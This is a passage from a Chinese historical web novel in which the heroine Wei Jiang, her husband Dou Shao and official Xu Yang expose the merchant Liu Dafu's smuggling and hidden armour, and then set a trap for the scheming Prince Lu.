窦景也真的差点死了,要是徐仰再慢一点。
在密室中徐仰找到不少和柳家往来的书信,确定他们在做私盐生意,至于窦景听到的内容,还要先找到掌柜的,拿到他的证词。
至于和掌柜喝酒的那几个人,徐仰已经在城外找到尸体,都是中毒而死,很显然是被灭了口。
这个掌柜不是一般的心狠手辣。
“一定要找到这个掌柜。”卫姜再次嘱咐,这个掌柜很关键,而且应该知道不少事。
只是私盐买卖还锤不死柳大福,潞王一定会帮他运作,清风寨叛乱时间还在几年后,如今最多算个匪患。
若是证实柳大福真的是太子和信王刺杀案的主谋,那他就再也蹦哒不了了。
需要实证,切实的人证物证。
“县主,徐大人。”马将军一脸喜色走了进来。
紧跟着一个中年男人双手被绑在身后推了进来。
“王天德我们逮住了。”
这家伙狡猾的很,当时攻上清风寨的时候这人就溜了,马将军的人就只抓到陆猴子。
“在哪抓到的?”徐仰看着狼狈的男人,这人看着倒像个书生不像是个水匪。马将军神情带着得意,这说出来可就巧了。
之前答应过县主要活捉此人,可最后连人影都没看到,他面子上有些过不去,一怒一下便把清风寨里里外外都给清了一遍。
清风寨靠近水的那面比较陡峭,那地方徒手是很难上下,一眼也能看的见,所以就没有安排人下去搜查。
他手底下有个校尉,今日去那边□o,可尿着尿着就觉得下面有点不对。
水里好像有东西,是只破鞋子,好像是从哪里卷出来的。明明之前是没有的,这鞋是忽然出现的。
那校尉看了眼自己的鞋,就不尿了,提着裤子就往回跑。
他怀疑这下面有山洞,可能王天德就躲那去了。
马将军想着闲着也是闲着,就让那校尉带着十几个人下去摸摸情况。
半柱香时间没到,就有人回来了,还真有个山洞,离水面没多远。
“你猜我们在那发现了什么?”马将军卖关子。
徐仰真是看不得这幅嘴脸,没好气的指着王天德道:“他呗。”
马将军的笑容憨中带着精明,他小眼睛瞟向卫姜,但又没那个胆子开口让她猜。
一时有些意兴阑珊,笑脸都要枯萎了,这就跟想得瑟一下,遇到了惹不起的人一样。
马将军低下头,不想听到卫姜开口:
“想必马将军立了大功了。”
嘴角又重新咧开,马将军乐的直摸头,爽朗道:“还是县主厉害,一眼就看破了。”“搬进来。”他对门外吩咐道,这次不继续卖关子了。很快,他手下的兵就抬来了两个大箱子,马将军一个个踢开,让他们看里面的东西
徐仰大惊失色,语气都带着迟疑:“是清风寨搜出来的?”
马将军有些不高兴了,“这么多人……众目睽睽是吧。”
这个词应该没错吧,不管了,就这样说。
“众目睽睽我还能冤枉他们,再说了,这东西和我们身上的也不一样啊。”
私藏甲胄可是重罪,这还有兵械,清风寨是要谋反吗?
徐仰脸都白了。
马将军嘿嘿笑道:”县主,徐大人,我们这也算是立大功了吧。”
这剿匪和镇压叛乱可不是一个档次,也算是一雪之前的耻辱了,就说以前这窝贼寇这么难清剿呢,敢情是有人准备谋反啊,装备比他们都好。马将军心情有些复杂。
徐仰为人比较谨慎,“马将军,此时还要待我审过清风寨众人再定论。”
马将军无所谓,把王天德往他那一推:“你尽管审,这人就是和这些东西一起搜到的,当时他还哆嗦着举着把刀呢。”
他看了一眼箱子,“喏,就是那把。”
王天德面如死灰,铁证面前,他想说他们不是要谋反,只怕谁都不会信了。
那山洞里藏了十几箱这东西,他也是读过几年书的,私藏三副甲胄就是砍头的罪。
他双腿一软,一下子就栽倒下去,翻了白眼,吓晕了。
“没用。”马将军踢了他一脚,吩咐人把他拖下去。
徐仰连着审了一夜,陆猴子和王天德见大势已去,什么都交代了。
卫姜知道有了这些物证,再加上王天德和陆猴子的口供,柳大福是彻底完了。
次日,茶铺掌柜也落案了。
衙门有个牢头酷爱喝茶,俩人因茶结缘,掌柜的私下给他送过不少好茶,这次事发后,他从店铺离开第一时间也是想离开宜春的,可他发现城门出不去了。他在牢头的安排下躲进牢房中,外面的人差点没把宜春翻过来,谁会想到他已经在坐牢了呢。
玩的一手灯下黑。
能找到人还要多亏那个王二,百事通这个名号没白叫,是他告诉徐仰牢头喜欢喝茶,平日里喝的都是好茶。卫姜又给了他一笔丰厚的赏银,不过这次他说什么都不肯收,只说抓坏人是他的分内事。其实王二也不是忽然不爱钱了,只是他知道和前途比起来这点钱算不了什么。快班蒋捕头通了匪肯定是落不了好,和县令一起失踪的那两人被水匪灭了口,快班一下子就空了三个位置他自然不敢想那捕头的位置,可去快班总比一直待在皂班有出息吧。他得让县令知道自己,要是拿了赏银,那就是为钱办事了,他王二以后是要做县令心腹干将,怎么能是这种人呢。王二坚定摇头,双手放在背后紧紧握住,他爱钱,可他更爱事业!死手要忍住。他挤出谄媚的笑容:
“姐姐,您一定要跟县主说,小的是帮县令破案怎么能收钱,我可不是那种人。”樱儿也在旁帮腔,“是啊,长佩姐姐,王二哥是个古道热肠的人,他不是为了钱。”
“好吧。”长佩无奈地收回了荷包。
王二脸上闪过一丝可惜与心疼。
……
"县主,案卷已经送往京城,此案的人证我得赶紧带回京城,您这边……?"
这个案子徐仰已经上报京城,表面上是一个私盐案,可里面牵扯的太多,已经惊动了皇上,他得火速赶回去。
卫姜虽然是和他一起南下的,可她毕竟不是官员,还有几天就是年关了,也许她不想那么快赶回去。
果然,卫姜就是这么想的。
既然柳大福已经揪出来了,定案判刑就轮不到她来操心,案卷已经八百里加急运往京城,说不定柳大福已经被抓了。
她好不容易来一趟宜春,自然不想急急忙忙往回赶。
“那徐大人一路保重,我年后再回京城就不和你一起了。”
徐仰:“那行,那我就向县主辞行了。”
窦景虽然虚弱,可也能起身了,他向徐仰郑重行了一礼:“小侄谢过徐叔的救命之恩。”
徐仰一把撑住他,“这是说的什么话,我和你爹可是至交,再说了,你也是因公受了罪,救你出来是我该做的。”
“好了,别谢来谢去的,你们都说的有道理。”卫姜招呼他们坐下。徐仰明日一早就走,今夜也算是给他践行了。
"我敬徐叔一杯,这次您破获如此大案,想必回去就要高升了,小侄提前恭喜你了。"徐仰有些汗颜,“其实这件案子功劳最大的是县主,我也是腆颜贪功了。”
卫姜:“话可不是这么说,事情都是你和马将军办的,我最多就是出出馊主意,耍耍县主威风,最大功劳可不敢担。”徐仰想到外面的流言,没忍住笑了。
之前为找出窦景的藏身地,卫姜的行为在外人看来是有些跋扈了,再加上马将军故意散播出去的流言,现在宜春的百姓都知道新宜县主不好惹了。卫姜虽然不贪功,可徐仰心中暗自拿定主意,要是有机会面见皇上,他一定要给县主表功。
***
徐仰这边刚刚启程,京城那边皇上已经出动三司会审柳大福案。柳大福被收押天牢,家中产业全部被查抄。柳大福案牵扯极广,不但江南盐税案有他,太子和信王遇刺与他有关,就连之前科举泄题案也有他的影子。这一审就将近用了两个多月的时间,审出来的东西越多,皇帝就越震怒想到他的天下还有朝堂竟然被一个商贾拨弄风云,皇帝就恨的牙痒痒。
“柳家参与其中的全斩了,其余人全部流放辽东。”皇帝脸色铁青,并没有因为发落了柳家心情有所舒畅。
"他的背后真的没有人指使?"
皇帝还是不信,一个商贾弄出这么多事为了什么呢?而且柳大福连儿子都没有,只有几个侄儿。
他图什么?
私藏甲胄的理由更是可笑,说是为了私下过过将军的瘾这些理由皇帝半个字都不信。“再审,别让他轻易死了。”
皇帝看了一眼刑部尚书,徐仰站在一旁都感受到了压力。
“是。”“还有那些人证,凡是和柳大福有关的都先留着,别死无对证了。”这一眼包含太多,三司官员后背心都冒汗了。没有了其他交代,皇上挥手让他们退下。
人都走了,皇上好像累了一般往后一靠,闭目养神。“一个商贾自己想造反,你说朕该信吗?”皇上语气幽幽。皇帝也不用人回答,继而叹道:“都当朕好糊弄呢。”他微微抬眼,看向窦绍,“柳大福的产业都清查好了?”
窦绍:“回皇上,都已经清算好了,抄没黄金十万两,白银八千万两,其他古玩器物无数,还有店铺三百家…….”
皇帝抬手打断了他,“做生意的人都比朕有钱。”
这话不是没有缘由的,年前皇上想要修一座园子,被朝臣以国库空虚为由劝谏了。
“这些都准备入国库?”这不是简单的随口一问。
皇上缺钱,窦绍也知道皇上想要这笔钱。
窦绍不用抬头都能感受到皇帝的目光,也知道他这话有试探之意,不然也不会单独把他留下了。
“回禀皇上,臣和各位大人商量过了,这笔银子三分之二入国库,剩下的三分之一拨入内库。”
皇上满意了:“窦卿办事朕放心,”
随口感叹道:朕倒是沾了柳大福的光能修个园子了。"
窦绍可不敢听这话,“若没有皇上励精图治,让天下太平和顺,柳大福又哪里能挣到这么多银子,但他不知感恩,还要行谋乱之事,皇上也只是把天下百姓的膏梁重新归入国库罢了,皇上富有四海,又岂会瞧得上他这一点身家。"
这话说的很让人舒心,皇帝的笑容多了些,也有心思关心其他了。
“听说你儿子这次遭罪,这次他立了功,朕已经让吏部行文嘉奖他了,你教的很好。”
窦绍谦逊答道:"为皇上、为朝廷,这都是他应该做的,要说教的好,也不只是臣的功劳。"
皇帝调侃他,“朕知道了,阿姜的功劳最大。”语带双关。
他又说起了卫姜:
“这次朕虽不能明着赏她,也不能亏待了她,要不是她机警这南边还不知道要闹出多少事,这个柳大福怕是一时半会也抓不住他,她的功朕都记在心里,朕也没白疼她。”皇帝颇有些为她骄傲的意思。
“她是不是该回京了?”
窦绍回道:“算算时间也差不多就这几日到了。”“等她回来朕有好东西赏她。”皇上心情很好,也就特别的大方。
……
潞王府
潞王脸上藏不住的焦灼,一贯温和的笑意再也挂不住了。
“严大人那边怎么说?”
属下低头回道:“严大人说皇上不让柳……柳大福死,还要刑部继续审。“
潞王喃喃道:“父皇这是不信呐。”
他转头问心腹,“你觉得柳大福能咬住吗?
心腹道:“殿下不用担心,柳公自然知道自己该怎么做,柳家死了那么多人他不也什么都没说,他怎么都得为王妃想想。”
潞王安心些,其实道理他都懂,可他还是有些患得患失,毕竟他也不确定柳大福对这个孙女有多在意。
“殿下可在里面?”是葛月的声音,潞王示意心腹先避一下。
“进来吧。”潞王对门外的人道。
葛月行了一礼,对他请示道:“我想回一趟苏家。”
潞王想到前几日发生的发件事,知道她是想回去陪严氏,点了点头同意了。
转身要出门的时候,潞王忽然又叫住了她。
“你………柳公案子判了,皇上暂时还不会处死他,你想去见他一面吗?”
潞王话中全是试探之意,提到柳大福,葛月清冷的脸上也没有一丝波动,好像潞王说的只是个陌生人。
“殿下让我去我就去。”葛月嘴角泛起嘲意。
潞王有些恼羞成怒,挥手让她退下。
葛月走后,潞王背着手在屋里不耐烦地走来走去,也在愤怒葛月刚刚的讥讽,她知道自己没办法让她去看柳大福。
窦绍正盯着自己呢
当初柳大福其实有机会离开京城的,也不知道窦绍什么时候盯上了他,等南边的事情一传到京城,柳大福想躲都躲不开了。
这个时候怎么能让窦绍发现自己和柳大福有关系
可失去了柳大福,潞王就如同斩断右臂,潞王懊恼的很。
“她什么时候到?”
心腹从屏风后转过来,刚刚的对话他听的一清二楚,自然也知道潞王问的是谁。“算算时间,新宜县主最多后日就到京城。”潞王冷笑一声:“那就让好戏准备开场吧。”倒要看看窦绍怎么应对。让这夫妻俩斗起来,最好两败俱伤,潞王脸上闪过恨意。“二小姐,夫人刚睡着。”苏家侍女轻声说道,怕惊醒严氏。葛月点头,让侍女下去,屋里只剩下她和睡着的那人,她的眼神闪过嫌恶,伸手给严氏把了把脉。
小小的响动一下子就惊醒了严氏,她先的眼神迷离带着糊涂,但很快变得清明。
“快,去救你舅母,快啊。”她一下爬起来,紧紧抓住葛月的手。"你快去救你舅母,别让她被坏人劫走。"葛月拧着眉把她的手指一根根掰开,淡淡开口道:“又说疯话了。”严氏不可置信地看着她,忽然想到什么,疯一般往后缩,用手指着她,声音带着尖锐:“是你,你是个孽障,是恶鬼,你走开。”她凄厉尖叫,把枕头被子都朝葛月扔了出来。外面的侍女听到动静冲了进来,纷纷护在葛月身边,“二小姐,我们带您出去,夫人又犯病了。”葛月轻轻放下枕头,嘴角往上勾了勾,"好像是病的又重了些,我等下换个方子。"
“我没病,是她,是她做的,她害了我,她还害死了大嫂,我当初就不该心软,我该把你掐死。”严氏面容狰狞,好像在和仇人拼命。
“二小姐我们快出去吧。”侍女看了都害怕。
葛月被她们请了出来,透过窗户可以看到好几个粗壮仆妇把严氏按住了。
她嘴角上扬,这样不是也很好,不一定要她死啊!
她望向天空,右手摸索着一个一把钥匙。
答应他的事情,她也算是办到了吧。
55、第55章...
卫姜打量着窦绍,想不通他一脸的不愉快是什么意思,不想她回来,早说啊,宜春那地方她还挺喜欢的。
要不是他天天催,用女儿来勾她,她才不回呢。
说小卫儿会说话,让她快点回来,不然她就要先开口叫爹爹了,敢情是把她叫回来摆脸色。
卫姜越想越气,脸也沉下来,双手抱胸就这么直勾勾盯着他,眼神不善。
窦绍总算是发现不对劲了。
他开口道:“怪我,想事情入迷了,你路上饿了没有,累不累,要不要先躺一会?”
一连串问题砸下来,显得他体贴,马车就这么大,躺哪儿?只能躺他腿上了。
晚了,这个时候献殷勤了,是谁先摆脸色的。
卫姜继续盯着她,眼光不经意扫到他的腰间
"这不是我的吗?"
这香囊她挺喜欢的,一直舍不得用呢,他就这么给戴上了。
她上手就要扒下来,窦绍双手摊开把自己往前送了送,任她折腾。
眼底的笑意没藏住,从他的角度看,她整个窝在怀里,他没忍住低下头,却差点就被卫姜给偷袭了,头上的金钗带着耀眼的光芒从他脸旁划过,只要他再晚一步,定然划花他的脸。
惊险一刻,卫姜压根不知道。
“你干嘛?”见窦绍直愣愣地盯着她看,她摸不着头脑
窦绍难道会说自己偷香不成差点被伤到,只能摇头,低头看了一眼被弄的乱七八糟的外裳,笑着问她:“消气了?”
卫姜睨了他一眼:“你这话说的好像我无理取闹一样,明明是你先摆脸色的,你不想来接我,我也没求你来。”
来了黑着个脸算什么意思。
窦绍投降,她终于回来,他可不想浪费口舌去争论这些不重要的输赢。
反正他也赢不了她。
他痛快承认错误:“是我不对,我不应该接你的时候还想着别的事情。”
窦绍伸手抬起她的脸仔细端详,声音说不出的轻柔,只是说出来的话实在不好听:
“瘦了,也黑了,是不是在那边不适应。”
卫姜顾不上瞪他立马掏出小镜子对着自己照,换着角度照
真的黑了吗?
简直是噩耗啊,她都没晒过太阳啊!
明亮的镜子映出她清丽的容貌,被他这么一说,她还真觉得自己真黑了点。
"我黑了很多吗?"
窦绍都看出她黑了,黑了就是丑了,卫姜一副天塌了表情。
窦绍没想到随口一句话惹得她这么在意,有必要弥补一下:“也不是很黑,你就是瘦了些,嗯,瘦了。”
京中女子以清瘦为美,窦绍暗想这次应该没说错话吧
卫姜更加一脸生无可恋,不是很黑,那也还是黑了。
她又一次端详镜中的自己,越看越黑。
不行,她得保养回来,是不是得先用弄个美白方子,好像珍珠粉是美白的,珍珠她不缺,回去就磨成粉,明天能白回来吗?她沉浸在自己的美容保养大计里,完全没留意到窦绍的欲言又止。
眼看就快到家了,窦绍只能把她叫醒,还有事情要商量呢。
卫姜不耐烦地瞪他:“说。”
反正也不是她爱听的,从码头回来一路上他就没说过一句好听的话。
窦绍:“等下回家的时候,你就摆出一副和我置气的模样,回去我再告诉你为什么。”
他又把那个丢在一旁有些皱的荷包重新挂回腰间。
卫姜扬眉,这是有人盯着他们家了,演给谁看?不过话说回来。
“还用演吗?”她用手在两人间比划了两下,很明显不和谐的氛围。
窦绍笑了,俯身在她脸颊上亲了一口:“回去和你赔罪。”
没等车停稳他跳下去,冷着脸大步进了大门。
卫姜在马车里愣了半刻才反应过来,摸脸,搞偷袭,流氓。
这样说赔罪的话很容易让人想歪的。
长佩她们不清楚到底发生了什么,见夫妻俩好像闹了矛盾,一个个都不敢出声。
见卫姜面无表情地被拥进府里,不远处的茶摊上一青衣男人匆匆结账离开。
卫姜换完衣裳先抱着女儿亲香了好一会儿,小卫儿快两个多月没见娘亲了,很是有些高冷,偏着头就是不肯看她。
卫姜有些求助地看向窦绍。那翘起的嘴巴和卫姜生气时一模一眼,窦绍笑了:“你不是给她带了好些东西吗?”总算给她出了个主意。卫姜恍然,让人把东西搬进来,又陪着玩了好一会儿,才把人给哄回来了。"你女儿也太难哄了。"卫姜悄悄背后蛐蛐人。窦绍弯了眉眼,点头:“随根了。”说完瞥了她一眼。“不要当面蛐蛐人。”卫姜警告他。“随我,随我,我脾气坏。”窦绍改口,说完自己都没忍住笑“刚刚你演哪一出什么意思?”卫姜终于想起正事了。窦绍收起笑意,把她离开后京城中发生的事情说了一遍。卫姜惊呆了,嘴巴都闭不上了,“所以潞王误会你和潘英娘有私情,准备让我回来抓奸顺顺干掉你!”“你这荷包…窦绍立马阻止她想歪,“这就是你箱子里的荷包,潘家小姐送来的是个香囊。”“我又没说什么。”被看破了心思,强行嘴硬。卫姜起身去拿潘英娘送来的香囊,“好香,这味道好闻,看不出来她的手艺是真不错。”
想到那个软糯糯的小姑娘,卫姜转头看向窦绍:“你和潘大人这个计策是是不是太欠考虑了。”
万一外面传出不好听的话怎么办?
人家还没嫁人呢?
"你放心吧,潞王也只是猜测,他只需要让你知道这件事就成了,再说了,潘家小姐早就定了婚事,这次将计就计,潘大人早就和亲家那边通过气了。"卫姜有些怜悯地看了一眼窦绍,其实潞王思路没错,在书中原主破坏力极强,在对付窦绍和葛月的路上那是一等一的战斗力。
窦绍被她弄的一个头两个大,不知道费了多少精力去为原主收拾烂摊子。
卫姜没忍住夸了自己一句:"你真命好,碰上了我这么通情达理的好人。"
要是以前,潞王的计策说不定就成了。
窦绍眼睛定定看作她,认真地道:“嗯,我命好,遇到你了。”
这么郑重,她忽然有些不好意思了,眼神飘忽移开,换了个话题:
“潞王怎么还这么闲,柳大福的事情不够他头疼的?”
窦绍蹙眉:“昨夜柳大福死了。”
也是因为这件事,今日他才一直阴沉着脸,只有柳大福活着,潞王才不敢轻举妄动,没想到他竟然就这样死脸
他一死,潞王算是撇清了。
卫姜愕然,脱口而出:“不会是潞王做的吧。”
这个不可能,窦绍摇头,皇上疑心柳大福背后有人,不止防着皇子们,就连宗亲贵族他都警惕着,这个时候没有人能把手伸进天牢。
“说是自尽的,用衣襟把自己勒死了。”
怎么偏偏这个时候死了,潞王应该很高兴吧。
他当然高兴,不然怎么有心情来离间他们夫妻感情,窦绍眼神转冷。
既然他那么想看戏,那就给他看出好戏。
“不如明日你把潘小姐请来做客。”窦绍脸上明晃晃地大写着坏
“打什么主意?”
窦绍:“耍一耍潞王,怎么样?有兴趣吗”
卫姜矫揉造作地推了他一下,媚声道:“你好坏啊,我喜欢。”
柳大福一死,暂时是没证据指证潞王了,指使人绑架窦景一定有潞王的意思。
窦景可是差点小命不保,卫姜可不奉行什么君子报仇十年不晚。
仇可以慢慢报,气先出了再说。
窦绍虽然知道她说的喜欢不是那个意思,可还是愣了会神。
“最近京城还有什么事吗?”
卫姜伸手在他眼前挥了挥,窦绍轻咳一声,面上有些不自在。
“是有那么一件事。”
动作非常熟练地把她的手握住,卫姜只顾着听他继续说,完全没反抗。
"严家大夫人没了。"
卫姜有些震惊,严家大夫人要是她没记错的话应该年纪不大吧。
窦绍给她解释:“这事还要从半个月前说起。”
半个月前一日,严氏和严大夫人准备去城外的慈云庵看望他们家老夫人,没想到半路上遇到一伙山匪,把两人都劫持了,凑巧这时潞王妃的车架刚好经过,严氏被救了回来,严大夫人却被劫掠走了。潞王府还有严家、苏家派了很多人去追,官府也出动了大量人员,可毫无线索。
“只劫走了人?”卫姜疑惑。
堂堂天子脚下,京畿重地,哪个不要命的盗匪来这里找事,被劫走的还是位贵妇人,真是百十年难得一闻的奇事。
这中间要说是没鬼,谁信!
窦绍点头:“他们应该就是奔着人来的,听严家仆人说,那些山匪看都不看那些财务一眼,听到她们说给钱,还大声嗤笑。“
不爱财的劫匪,更是稀奇。
严家和官府的人寻了一日一夜都没有找到。
事情也怪,隔日天蒙蒙亮,一辆马车又把严大夫人送了回来。
那个时辰正是官员们上朝的时候,街口小摊贩们忙活的热火朝天,马车这么突兀地出现在严家门口,想不让人侧目都不行。
严家人掀开车帘,里面赫然就是失踪一夜的严夫人
她静静躺在那里,人事不省,但还活着,肉眼看着也没有受伤害,衣服也还是失踪时穿的那套。
虽然衣裳整齐,可她毕竟失踪了一夜,还是落入匪徒之手,难免就有不好的流言传了出来,又隔了一日,就传出来她的死讯,说她半夜趁人不备自尽了。
窦绍讥诮道:“这是严家自己说的,到底怎么回事也只有他们清楚了。”
听他鄙夷的语气,只怕里面还有内情。
“严夫人到底得罪了什么人,这样的报复方式也太狠毒了些。”卫姜唏嘘。
不只是要坏她的名声,还要借着流言的手逼死她,宫中皇后出自严家,从他们处理葛月的身世来看,就知道他们多看重名声。
严大夫人到底是真寻死还是被逼死的,难说呢?
卫姜心眼一动,忽然想到一种可能:“你说会不会是柳……….
窦绍笑着点头,“夫人聪慧,很有可能。”
这种报复方式和在白云寺的手笔很像,也很符合柳大福对严家和严氏的恨意。
只是潞王妃的车架来的太巧了些,又那么刚好救下了严氏。
她真的只来得及救下严氏吗?卫姜忽然有些怀疑了。
柳大福那么疯狂,他临死前一定会做把仇人拉下去陪葬,他对严氏那么恨,真的会放过她。
若葛月知道他的计划,她是一定不会同意柳大福这么做,严氏是她的母亲,名誉受到了损伤,作为潞王妃的她也会有污点。
但严大夫人就无所谓了,还可以狠狠地报复一下严家。
若猜想是真的,那这个葛月还是她认识的那个正直善良虽有城府但有底线的女主吗?
卫姜打了个寒战,窦绍摸了摸她的手:“冷了吗?”
卫姜看他,清楚地意识到所有的一切其实早就变了,人的境遇不一样,选择不一样,自然而然这个人也不是那个人了。
这是现实,不是那本她看过的小说,这些也不是她印象中的纸片人,他们有血有肉,有自己的思想。
何止是葛月不一样了,被太子派去西北的信王不早就改变了他原本的命途吗?
只是她心里隐隐有些惋惜,就好像熟识的某个人忽然变得面目全非了。
“不冷。”卫姜神情有些萎靡不振
窦绍把她拥进怀里,卫姜搂住了他的腰,好像这样更有安全感,更真实,更温暖一点。
月色如水,一夜过去了。
次日,是休沐日,早膳后卫姜按照窦绍的计划派人气势汹汹地去接潘家找潘英娘。
消息很快就到了潞王跟前,他喜的拍手称好。
"继续派人盯着。"
新宜县主果然没有让他失望,原想着若是她没有动静,他就准备让人再准备点流言。
他转身问心腹刘进:“我让你请的人都请好了吗?“
刘进躬身答道:“殿下相邀,他们自然是应的。”
潞王点头,想到一个人,“张元恩一定要请来。”这个人不去这戏就不好唱了。
“殿下放心,只要有好玩的事,这位小爷一定会去凑热闹。”
一切在按他预想的走,可他还是有些不安。
“王妃呢?”他想让葛月去看看卫姜的反应。
刘进道:“王妃今日不在府上。”潞王有些不悦,“又去苏家了?”“好像是去了长公主府上。”
潞王缓了脸色,这也是正经事,葛月若是真的有本事能医好姑母的病,他就又得了一份助力。
父皇有四个姊妹,可如今活下来的也只有这个病歪歪的长公主了,大概也是因为她身子不好不怎么出现在人前,倒是让新宜县主这个外八路的外甥女得了皇帝眼。潞王心定了,就算今日不能成功,他还有长公主这张牌。
“走吧,好久没有和窦大人对弈,小王手颇为难念,过了今日怕是窦大人就没什么心思下棋了。”这样的场面他怎么都得亲眼看看。
56、第56章...
潘英娘紧张地看着面前的人,就像等待老师宣布分数的考生,都快搓手手了。
“这些我都喜欢,你果然是有制香的天分。”见县主点头,她大松一口气,松了松捏紧的拳头。
她就怕自己制的香不合县主的意。
“这些都给我吗?”卫姜逗她。
潘英娘红着脸点头,“这些都是我为县主特意准备的。”
她这些日子都忙活这些去了,她总觉得之前龙脑菊的香不够清幽,更清幽绵长的香才能衬出她的高贵。
“那谢谢你了,我都很喜欢,还有之前你给我做的那个香囊。”卫姜把香囊掏出来,“这个是你特意绣的吗?很有灵气……”潘英娘脸都红了,她就知道县主一定会发现她的巧思,娘还说她笨,绣活做不好,可县主却说她有灵气。
潘英娘美的要飘起来了。
"县主你人真好。"
卫姜愣了一下,噗吡笑了:“还是第一次有人说我人好。”
潘英娘想到外面县主那些流言,脸上带着愤慨:“那是谣言,不可信的。”
为自己抱打不平的样子好可爱,卫姜都想上前摸摸头了。
"你送了我这么多好香,我也要送你些东西。"
卫姜把香盒递给长佩让她收起来,让她去把自己准备的礼物拿来。
潘英娘忙摆手,她送县主香丸可不是为了讨好东西的。
“不用,我不需要赏赐的。”
卫姜笑了,按下她的手,正经脸道:“这可不是什么赏赐,这是朋友间的礼尚往来,你要是不收,那我也不要你的东西。”朋友?她和县主是朋友了吗?潘英娘太震惊了,眼都瞪大了。
卫姜想潞一下,好像当朋友是有点不合适,她和潘英娘的娘差不多大了,“那就是长辈,长辈给的也不能拒绝。”
潘英娘懊悔不已,她刚刚不应该太失态,她想要当朋友,她咬唇,县主肯定是以为她不愿意了。
"我听说你快要成婚了。"
潘英娘唰地羞红了脸,比毛刷子上色还快,眼睛水汪汪的。
这幅春情澎拜的样子,一看就是想起心上人的了。
“他是谁家公子?“卫姜调侃问道。
潘英娘低下头,羞赧道:“是我舅家表哥。”
卫姜愣了一下,忽然想起这是古代,姑舅表亲通婚是太平常不过的事情了,就算是在她那个时代,爷爷奶奶那辈也有不少是姑舅婚。
她收起讶异的表情,说着恭喜的话:"青梅竹马知根知底,挺好的一门婚事。"
潘英娘:“我爹娘也是这么说,舅母待我就像亲身女儿一般,说我嫁过去也不会受委屈,我娘常说女子嫁的好不好,关键就看婆母,婆婆好,这婚事就差不到哪儿去。”潘英娘话音刚落就看到周围人脸色有些尴尬,忽然想起眼前这位当婆婆的名声有些差。她懊恼咬舌,虽然她不信流言所说,可当着县主的面说这些,她会不会以为自己是故意的。
她想要解释几句,一时嘴笨想不到说辞。
“你娘是真疼你。”卫姜完全不觉得有什么尴尬的,反正又不是她做的,她自认为还是个好婆婆的。
往事如风飘散去,那都是以前的事了。谁还不能来个改邪归正。潘英娘放下心来,果然县主不是那样的人。
“县主,下个月初三是我的及笄礼,我可以请您做我的正宾吗?”潘英娘一时激动,话就脱口而出。
说出来后,却觉得这个主意是真不错,她一脸期待地看着卫姜。
卫姜讶异,但很快就反应过来这只是潘英娘刚起的意,及笄礼对女孩子何等重要,潘家怎么会没安排这些。主宾一般选的都是亲近人家德才兼备的长辈,何况卫姜觉得以自己现在名声去给人作正宾,那不是害人吗?
“这么巧,初三那日我要进宫怕是去不了,不过我会记得给你送份厚礼的。”卫姜找了个进宫的借口,不直接以自己的名声说事,怕潘英娘说什么不在乎。潘英娘有些失落,她又不是为了那份厚礼,她有些懊悔自己说晚了,早知道她应该早早来请县主的。
“难道是对正宾人选不满意?”卫姜见她有些低落,开玩笑逗她。
“娘说就让我舅母给我插笄。”潘英娘摇头
“那你还摆出这幅表情,小心你舅母知道了以为你嫌弃他,以后给你小鞋穿。”卫姜吓唬她。
潘英娘果然被转移注意力,笑嘻嘻摇头:“舅母才不会,她最疼我了。”
“我喜欢制香,我娘却说我不务正道,只有舅母支持我。”
她有些羞赧,回想起舅母当时的话,她现在都觉得脸烧的慌。
她说:英娘是我们家的人,她想学制香,我支持。
“这是害羞了,想到什么了?”卫姜语带调侃
难怪以前那些长辈老喜欢逗年轻人,原来看她们脸红是这种恶趣味。
潘英娘羞的坐不住了,学会走路的小卫儿扶着墙刚挪进来,就被她一把抱起窜了出去。
“我带卫姐儿去园子里玩。”
小卫儿那个气,她走了好久的,知不知道她有多辛苦!
她的小手攥紧又松开,险些被气的要开口说话了!
不过看在小姐姐软萌萌,香香的份上,原谅她了。
小卫儿把脑袋贴在她的胸口,真舒服。
人走后,卫姜收了笑,看向长佩。
"怎么样了?"
也该有动静了吧。
长佩笑着点头,“潞王殿下刚刚带着一群人来找大人下棋。”
没想到潞王还真的亲自来了,送上门让窦绍耍。
“那就把潞王想听的消息传过去吧。”卫姜嘴角噙着坏笑。
不然戏怎么唱下去呢。
张元恩是个坐不住的,让他这么干坐着看别人下棋,简直是要了他的命,他在屋里走来走去,扇子也摇的越来越快。
“张兄你歇会儿吧,你都要把我扇伤风了。“他身子有些虚,可受不了这么大的风,纨绔公子把领口紧了紧。他藐了一眼张元恩,春寒料峭的拿把扇子扇来扇去的,以为这样就能装风流才子来,毛病!张元恩当没看到他的白眼,在他身边挤下,碰了下他肩膀。
“孟文白,殿下不是说有好戏看吗?这就是他说的好戏?”他指着正在对弈的两人,旁边还围了一圈人。
不知道这有什么好看的。还不如去茶楼听说书呢。
孟文白差点没给撞下去,不知道他虚吗?有病,莽夫!
“你问我,我问谁?”孟文白没好气道,难道他就是什么能坐得住的人。
同是纨绔,他太看得起自己了。
“那行,你们等,我去春暖楼听曲了。”张元恩再也没有耐心,起身摇扇就要走。
刚迈出一步,就走不动了,转头一看,只见孟文白手正从背后勾出了他的腰带。
张元恩罕见的慌张了,“孟老三我告诉你,我不好这口。”
孟文白呸的一声,特别的有力道:“张元恩你少看点不正紧的话本子,脑子里都装的什么。”
要不是潞王交代他要把张元恩看住,他才懒得理他。
张元恩讪讪,把腰带重新调整好,谁让他弄这么有歧义的动作。
"你干嘛啊?"
孟文白嫌弃地白他一眼:‘再等等,春暖楼这个时候还没开门,你急什么。"
等什么,这有什么好等的,他也是信了潞王的邪,来窦府看什么好戏,窦绍那个正紧样子,能有什么好戏看。
难不成看县主大发雌威,张元恩撇嘴。
“我去外面走走。”说完抬腿就走
反正只要不离开窦家,他爱去哪孟文白才不管。
可他离开不过半盏茶的功夫就回来了,双眼发亮,满脸都是看热闹不怕事大的兴奋:
"窦大人,你们家出事了。"
“县主把那个潘小姐给打了,打得那个头破血流,怕是只剩下半口气了。”说的就好像亲眼所见一眼。众人被惊到了,看向窦绍。
窦绍猛地起身,棋盘都被打乱了,可见心乱了,但他不愧是个老狐狸,很快就稳住了,又重新坐下,僵硬说道:“怕是张公子听错了。”
他冷冷地看了一眼张元恩,张元恩是谁,京中纨绔中的翘楚,人称京城小霸王,能怕他?
英国公府一门英烈,他家为朝廷世代守护边疆,如今祖孙三代死的就剩这一根独苗了,只要不是造反,他可以在京城横着走,这世上就没有他不敢惹的人,不敢闯的祸。只要皇帝不想寒了武将的心,他就死不了。
所以别人可能会怕窦绍,唯独他,张元恩挺直来腰杆,不知道怕是什么东西!
“这可是你们家下人亲口说的,我都让人去给潘家传信了,我可不能见死不救。”
